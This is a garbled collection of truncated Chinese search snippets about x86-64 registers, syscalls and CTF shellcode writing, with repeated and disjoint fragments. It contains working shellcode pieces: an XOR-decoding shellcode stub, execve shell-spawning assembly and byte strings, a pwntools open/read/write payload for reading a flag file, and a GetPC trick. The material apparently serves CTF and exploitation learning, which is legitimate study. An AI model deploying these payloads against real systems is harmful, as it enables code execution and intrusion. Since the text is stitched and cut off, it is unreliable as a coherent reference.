RSI和RDI都用于流操作和字符串操作。 栈指针寄存器(R***SP)用作指向栈顶的指针—RSP持有64位,ESP持有32位,SP持有16位,SPL持有8位: 基指针寄存器(RBP)用作栈的基址指针—RBP持有64位,EBP持有32位,BP持有16位,BPL持有8位: 寄存器 R8、R9、R10、R11、R12、R13、R14 和 R15 没有特定的操作,但它们的架构与...
mov rsi, rsp mov rdx, 5 syscall jmp exit exit: mov rax, EXIT mov rdi, 0 syscall 0x3 文件读 1 sys_open 文件读写都需要涉及打开文件操作,是通过内核提供的系统调用sys_open来实现的。具体参数如下: asmlinkage long sys_open(const char __user *filename, int flags, int mode) 这里需要注意在文...
global _start _start: jmp short getdata ; 跳转到getdata begin: pop ebx ; 弹出shellcode的地址 xor ecx,ecx ; 清零循环计数器ecx sub cx, -0x15F ; 设置cx为shellcode长度 decode: xor byte [ebx], 0x99 ; 异或key来解码 inc ebx ; 进入下一字节 loop decode ; 循环解码 jmp short shellcode ; ...
push rsi mov rsi, rsp mov rdx, 5 syscall jmp exit exit: mov rax, EXIT mov rdi, 0 syscall 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 0x3 文件读 1 sys_open 文件读写都需要涉及打开文件操作,是通过内核提供的系统调用sys_open来实现的。...
rsp #push rax shellcode1 += "\xeb\x18" #使用一个跳转跳过被push rid污染的数据,接上第二部分shellcode继续执行 #jmp short $+18h shellcode2 = "\x57\x48\x89\xe6\xb0\x3b\x0f\x05" #第二部分shellcode #push rdi #mov rsi, rsp #mov al, 0x3b #syscall print io.recvuntil("Location...
push <return address> jmp <function address> 也就是说,函数执行之后的返回地址是被保存在栈里之后...
shellcode=asm('''push 0x67616c66mov rdi,rspxor esi,esipush 2pop raxsyscallmov rdi,raxmov rsi,rspmov edx,0x100xor eax,eaxsyscallmov edi,1mov rsi,rsppush 1pop raxsyscall''') 在比如说那种直接输入shellcode执行的,攻防世界新手区有道题目string,就是直接输入shellcode拿shell的,这种可以用shellcraft...
jmp cl pp: popq %rcx pushq %rbp mov %rsp, %rbp subq $0x20, %rsp movq %rcx, -0x10(%rbp) movq $0x0,-0x8(%rbp) mov $0, %edx lea -0x10(%rbp), %rsi mov -0x10(%rbp), %rdi mov $59, %rax syscall cl:call pp
global _start _start: jmp short getdata ; 跳转到getdata begin: pop ebx ; 弹出shellcode的地址 xor ecx,ecx ; 清零循环计数器ecx sub cx, -0x15F ; 设置cx为shellcode长度 decode: xor byte [ebx], 0x99 ; 异或key来解码 inc ebx ; 进入下一字节 loop decode ; 循环解码 jmp short shellcode ;...
jmp getEIP label2: call label1 getEIP: pop eax 上面的代码中发生的是,执行跳至label2,这是一个调用label1的调用指令。执行调用时,返回地址(即下一条指令的地址)被压入堆栈。执行然后跳到getEIP,它将返回地址弹出到EAX中。 测试 你可以按照测试方法1的相同方法来测试方法2。执行完成后,结果应类似于图3。